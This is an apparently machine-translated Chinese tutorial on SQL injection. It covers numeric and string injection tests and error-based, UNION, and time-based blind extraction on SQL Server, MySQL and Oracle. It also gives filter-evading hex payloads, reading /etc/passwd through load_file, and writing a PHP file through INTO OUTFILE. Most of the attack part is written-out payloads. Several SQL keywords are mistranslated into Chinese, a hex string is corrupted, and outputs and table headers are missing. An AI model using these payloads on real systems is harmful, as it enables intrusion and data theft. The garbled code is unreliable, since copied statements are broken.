sql注入的三種方式,分別是:1、數位型注入;當輸入的參數為整數時,則有可能存在數字型注入漏洞。 2、字元型注入;當輸入參數為字串時,則可能存在字元型注入漏洞。 3、其他類型(例如:搜尋型注入、Cookie注入、POST注入等)。
SQL 注入原理
#SQL注入攻擊指的是透過建構特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法裡的一些組合,透過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的數據,致使非法資料侵入系統。
SQL 注入分類
#1.數字型注入
當輸入的參數為整數時,則有可能存在數位型注入漏洞。
假設存在一條URL 為:HTTP://www.aaa.com/test.php?id=1
可以對後台的SQL 語句猜測為:
SELECT * FROM table WHERE id=1
判斷數字型漏洞的SQL 注入點:
① 先在輸入方塊中輸入一個單引號'
這樣的SQL 語句就會變成:
SELECT * FROM table WHERE id=1'
,
不符合語法,所以該語句肯定會出錯,導致腳本程式無法從資料庫取得數據,從而使原來的頁面出現異常。
② 在輸入框中輸入and 1 = 1
#SQL語句變成:
SELECT * FROM table WHERE id=1 and 1 = 1
語句正確,執行正常,傳回的資料與原始請求沒有任何差異。
③ 在資料庫中輸入and 1 = 2
#SQL 語句變成:
SELECT * FROM table WHERE id=1 和 1 = 2
雖然語法正確,語句執行正常,但是邏輯錯誤,因為1 = 2 為永假,所以回傳資料與原始請求有差異。
如果以上三個步驟全部滿足,程式就可能存在數字型 SQL 注入漏洞。
2. 字元型注入
當輸入參數為字串時,則可能存在字元型注入漏洞。數字型與字元型注入最大的差異在於:數字型不需要單引號閉合,而字元型一般需要使用單引號來閉合。
字元型注入最關鍵的是如何閉合 SQL 語句以及註解多餘的程式碼。
假設後台的SQL 語句如下:SELECT * FROM table WHERE username = 'admin'
判斷字元型漏洞的SQL 注入點:
① 還是先輸入單引號admin'
來測試
這樣的SQL 語句就會變成:
SELECT * FROM table WHERE username = 'admin''
。
頁面異常。
② 輸入:admin' and 1 = 1 --
#注意:在admin 後面有一個單引號'
,用於字串閉合,最後還有一個註解符號--
(兩個槓後面還有一個空格!!!)。
SQL 語句變成:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
頁面顯示正確。
③ 輸入:admin' and 1 = 2 --
SQL 語句變成:
##SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
3. 其他型別
其實我覺得 SQL 注入只有兩種:數字型與字元型。很多人可能會說還有如:Cookie 注入、POST 注入、延時注入等。的確如此,但這些類型的注入歸根結底也是數位型和字元型注入的不同展現形式或註入的位置不同罷了。
常見資料庫的注入
攻擊者對於資料庫注入,無非是利用資料庫取得更多的資料或更大的權限,利用的方式可以歸結為以下幾類:這裡介紹三種資料庫的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。
SQL Server
1. 利用錯誤訊息提取資訊
SQL Server 資料庫是一個非常優秀的資料庫,它可以準確地定位錯誤訊息,這對攻擊者來說是一件十分美好的事情,因為攻擊者可以透過錯誤訊息提取自己想要的資料。
① 枚舉當前表或列
假設選擇存在這樣一張表:
查詢root 使用者的詳細訊息,SQL 語句猜測如下:SELECT * FROM user WHERE username = 'root' AND password = 'root'
攻擊者可以利用SQL Server 特性來取得敏感資訊,在輸入框中輸入以下語句:' having 1 = 1 --
最終執行的SQL 語句就會變成:SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
那麼SQL 的執行器可能會拋出一個錯誤:
攻擊者就可以發現目前的表名為user、而且存在字段id。
攻擊者可以利用此特性繼續得到其他列名,輸入如下語句:' GROUP BY users.id HAVING 1 = 1 --
則SQL 語句變為:SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
拋出錯誤:
由此可以看到包含列名username。可以一次遞歸查詢,知道沒有錯誤訊息回傳位置,這樣就可以利用 HAVING 字句得到當表的所有列名。
註:Select指定的每一列都應該出現在Group By子句中,除非對這一列使用了聚合函數
②. 利用資料型別錯誤擷取資料
如果試圖將字串與非字串比較,或將字串轉換為另一個不相容的類型,那麼SQL 編輯器將會拋出例外。
如下列SQL 語句:SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
執行器錯誤提示:
這就可以取得到使用者的使用者名稱為root。因為在子查詢SELECT TOP 1 username FROM users
中,將查詢到的使用者名稱的第一個傳回,傳回類型是varchar 類型,然後要跟int 類型的1 比較,兩種類型不同的資料無法比較而報錯,從而導致了資料外洩。
利用此方法可以遞歸推導出所有的帳號資訊:SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))
。
透過建構此語句就可以獲得下一個 使用者名稱;若把子查詢中的 username 換成其他列名,則可以取得其他欄位的信息,這裡就不再贅述。
2. 取得元資料
SQL Server 提供了大量視圖,以便於取得元資料。可以先猜測出表格的列數,再用 UNION 來建構 SQL 語句來取得其中的資料。
如:SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若目前表的列數為2,則可以UNION 語句取得目前資料庫表。具體怎麼猜測目前表的列數,後面進行描述。
一些常用的系統資料庫檢視:
資料庫檢視 | 說明 |
---|---|
#SYS.DATABASES | SQL Server 中的所有資料庫 |
#SYS.SQL_LOGINS | SQL Server 中的所有登入名稱 |
INFORMATION_SCHEMA.TABLES | 目前使用者資料庫中的所有資料表 |
INFORMATION_SCHEMA.COLUMNS | #目前使用者資料庫中的所有欄位 |
SYS.ALL_COLUMNS | #使用者定義物件和系統物件的所有欄位的聯合 |
資料庫中每個權限或列異常權限 | |
儲存在資料庫中的資料庫檔案 | |
資料庫中建立的每個物件(包括約束、日誌以及預存程序) |
##說明 | |
---|---|
建立新的SQL Server 登錄,允許使用者使用SQL Server 身分連接到SQL Server 實例 | |
從目前資料庫中刪除資料庫使用者 | |
提供Microsoft Windows 本機群組清單或在指定的Windows 網域中定義全域群組清單 | |
讀取登錄機碼 | |
寫入登錄機碼 | |
刪除登錄機碼 | |
讀取目錄 | |
更改密碼 | |
#或啟動某服務 |
角色 | |
---|---|
bulkadmin | 可以執行BULK INSERT 語句 |
#dbcreator | 可以建立、變更、刪除和還原任何資料庫 |
#diskadmin | 可以管理磁碟檔案 |
#processadmin | 可以種植在資料庫引擎中執行的實例 |
#securityadmin | 可以管理登入及其屬性;可以利用GRANT、DENY 和REVOKE 伺服器層級的權限;還可以利用GRANT、DENY 和REVOKE 資料庫層級的權限;此外也可以重置SQL Server 登入名稱的密碼 |
serveradmin | 可以更改伺服器範圍的設定選項和關閉伺服器 |
setupadmin | 可以新增和刪除連結伺服器,並且可以執行某些系統預存程序 |
sysadmin | 可以在資料庫引擎中執行任何活動 |
7. 動態執行
SQL Server 支援動態執行語句,使用者可以提交一個字串來執行 SQL 語句。
如:exec('SELECT username, password FROM users')
也可以透過定義十六進位的 SQL 語句,使用 exec 函數執行。大部分Web 應用程式和防火牆都過濾了單引號,利用exec 執行十六進位SQL 語句可以突破許多防火牆及防注入程序,如:
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
或:#declare/ **/@詢問/**/varchar(888)/**/選擇/**/@query=0x73656C6563742031/**/exec(@query)
MySQL
前面詳細講述了SQL Server 的注入過程,在註入其他資料庫時, 基本想法是相同的,只不過兩者使用的函數或是語句稍有差異。
1. MySQL 中的註解
MySQL 支援以下3 中註解風格:
2. 取得元資料
MySQL 5.0 及其以上版本提供了INFORMATION_SCHEMA,這是一個資訊資料庫,它提供了存取資料庫元資料的方式。以下介紹如何從中讀取資料庫名稱、表格名稱以及列名稱。
① 查詢使用者資料庫名稱SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了關於資料庫的資訊。
②查詢目前資料表SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表給出了資料庫中表格的資訊。
③查詢指定表的所有欄位SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中給出了表中的列資訊。
3. UNION 查詢
與 SQL Server 大致相同,此處不贅述。
4. MySQL 函數利用
無論是MySQL、Oracle 還是其他資料庫都內建了許多系統函數,這些資料庫函數都非常類似,接下來介紹一些對滲透測試人員很有幫助的MySQL 函數。
① load_file() 函數讀取檔案操作
MySQL 提供了load_file() 函數,可以幫助使用者快速讀取文件,但檔案的位置必須在伺服器上,檔案必須為絕對路徑,且使用者必須有FILE 權限,檔案容量也必須小於max_allowed_packet 位元組(預設為16MB,最大為1GB)。
SQL 語句如下:UNION SELECT 1, load_file('/etc/passwd'), 3, 4
通常有些防注入語句不允許單引號出現,那麼可以用一下語句繞過:UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4
#「0x2F6561342F706173737/cwdet」為十六進制轉換結果。
在瀏覽器傳回資料時,有可能有亂碼問題,那麼可以使用 hex() 函數將字串轉換為十六進位資料。
② into outfile 寫入檔案操作
MySQL 提供了向磁碟寫入檔案的操作,與load_file() 一樣,必須有FILE 權限,且檔案必須為全路徑名稱。
寫入檔案:SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'
#③ 連接字串
MySQL 如果需要一次查詢多個數據,可以使用concat() 或concat_ws() 函數來完成。
SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version())
;
#也可以將逗號改用十六進位表示:0x2c
5. MySQL 顯錯式註入
MySQL 也存在著明確式註入,可以像SQL Server 資料庫那樣,使用錯誤提取訊息。
① 透過updatexml 函數執行SQL 語句
首先了解下updatexml()函數:
updatexml (XML_document, XPath_string, new_value);
#個參數:XML_document是String格式,為XML文件物件的名稱;
第二個參數:XPath_string (Xpath格式的字串) ,
第三個參數:new_value,String格式,取代查找到的符合條件的資料
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
#其中的concat ()函數是將其連成字串,因此不會符合XPATH_string的格式,因而出現格式錯誤,報錯,會顯示出無法辨識的內容:
② 透過extractvalue函數SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
#同樣報錯顯示出目前使用者:
6. 寬位元組注入
寬位元組注入是由編碼不統一所造成的,這種注入一般會出現在PHP MySQL。
在PHP 設定檔php.ini 中存在magic_quotes_gpc 選項,被稱為魔術引號,當此選項被開啟時,使用GET、POST、Cookie 所接受的單引號(')、雙引號(")、反斜線() 和NULL 字元都會自動加上一個反斜線轉義。
如下使用PHP 程式碼使用$_GET 接收參數:
#如訪問URL:http:/www.xxser.com/Get.php?id='
,顯示如下:單引號
'被轉義後就變成了
\'
\'
是一個合法的字符,也就沒辦法閉合單引號,所以,注入型別是字元型時無法構成注入。但若是輸入:
�'
,造訪URL:http:/www.xxser.com/Get.php?id =�'
,顯示如下:
可以發現,這次單引號沒有被轉義,這樣就可以突破PHP 轉義,繼續閉合SQL 語句進行SQL 注入。
7. MySQL 長字元截斷
在MySQL 中的一個設定裡有一個sql_mode 選項,當sql_mode 設定為default 時,即沒有開啟STRICT-ALL_TABLES 選項時,MySQL 對插入超長的值只會提示waring,而不是error。假設有一張表如下:
username 欄位的長度為7。
分別插入SQL 語句:
① 插入正常SQL 語句:
INSERT users(id, username, password) VALUES( 1, 'admin', 'admin');
成功插入。
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
雖然有警告,但是成功插入了。
③ 再嘗試插入一條錯誤的SQL 語句,長度相同超過原有的規定長度:INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
查詢資料庫:
可以看到,三個資料都被插入到資料庫中,但是值發生了變化。在預設情況下,如果資料超出預設長度,MySQL 會將其階段。
可以使用這個函數來判斷URL 是否存在SQL 注入漏洞,步驟如下:
透過頁面傳回的世界可以斷定,DBMS 執行了and sleep (3)
語句,這樣一來就可以判斷URL 存在SQL 注入漏洞。
然後透過sleep() 函數也可以讀出數據,但需要其他函數的配合,步驟如下:
①查詢當前用戶,並取得字串長度
執行SQL 語句:AND if(length(user()) = 0, sleep(3), 1)
如果出現3 秒延時,就可以判斷出user 字串長度,注入時通常會採用折半演算法減少判斷。
② 截取字串第一個字符,並轉換為ASCII 碼AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……
不斷更換ASCII 碼直到出現延遲3 秒就可以猜測出第一個字元。
③ 遞歸截取字串每一個字符,分別於ASCII 碼比較AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
註:L 的位置代表字串的第幾個字符,N 的位置代表ASCII 碼。
不僅在 MySQL 中存在延時函數,在 SQL Server、Oracle 等資料庫中也都存在類似功能的函數,例如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函數。
Oracle
1. 取得元資料
Oracle 也支援查詢元數據,下面是Oracle 注入常用的元資料視圖:
① user_tablespaces 視圖,查看表空間SELECT tablespace_name FROM user_tablespaces
#② user_tables 視圖,查看目前使用者的所有表SELECT table_name FROM user_tables WHERE rownum = 1
③ user_tab_columns 視圖,查看目前使用者的所有欄位,如查詢user 資料表的所有欄位:SELECT column_name FROM user_tab_columns WHERE table_name = 'users'
④ all_users 視圖,查看ORacle 資料庫的所有使用者SELECT username FROM all_users
#⑤ user_objects 視圖,查看目前使用者的所有物件(表格名稱、約束、索引)SELECT object_name FROM user_objects
2. UNION 查詢
Oracle 與My一樣不支援多語句執行,不像SQL Server 可以用分號隔開從而注入多條SQL 語句。
①取得列的總數
取得總列數方法與前面兩種資料庫類似,仍可使用 ORDER BY 子句來完成。
另一種方法是利用 UNION 關鍵字來決定,但是 Oracle 規定,每次查詢時後面必須跟表的名稱,否則查詢將不成立。
在Oracle 中可以使用:UNION SELECT null, null, null … FROM dual
這裡的dual 是Oracle 中的虛擬表,在不知道資料庫中存在哪些表的情況下,可以使用此表作為查詢表。
接著取得非數字型別列,即可以顯示出訊息的欄位:UNION SELECT 'null', null, null, … FROM dual
#UNION SELECT null, 'null', null, …… FROM dual
把每一位的null
依序用單引號' 引起來,如果報錯,則不是字串類型的列;如果傳回正常,則是字串類型的列,就可以在對應的位置插入查詢語句來取得資訊。
② 取得敏感資訊
常見的敏感資訊如下:
SELECT * FROM session_roles
SELECT banner FROM sys.v_$version WHERE rownum = 1
utl_http.request
可以實作SELECT utl_inaddr.get_host_address FROM dual
SELECT member FROM v$logfile WHERE rownum = 1
SELECT instance_name FROM v$instance
SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual
以上是sql注入的三種方式是什麼?的詳細內容。更多資訊請關注PHP中文網其他相關文章!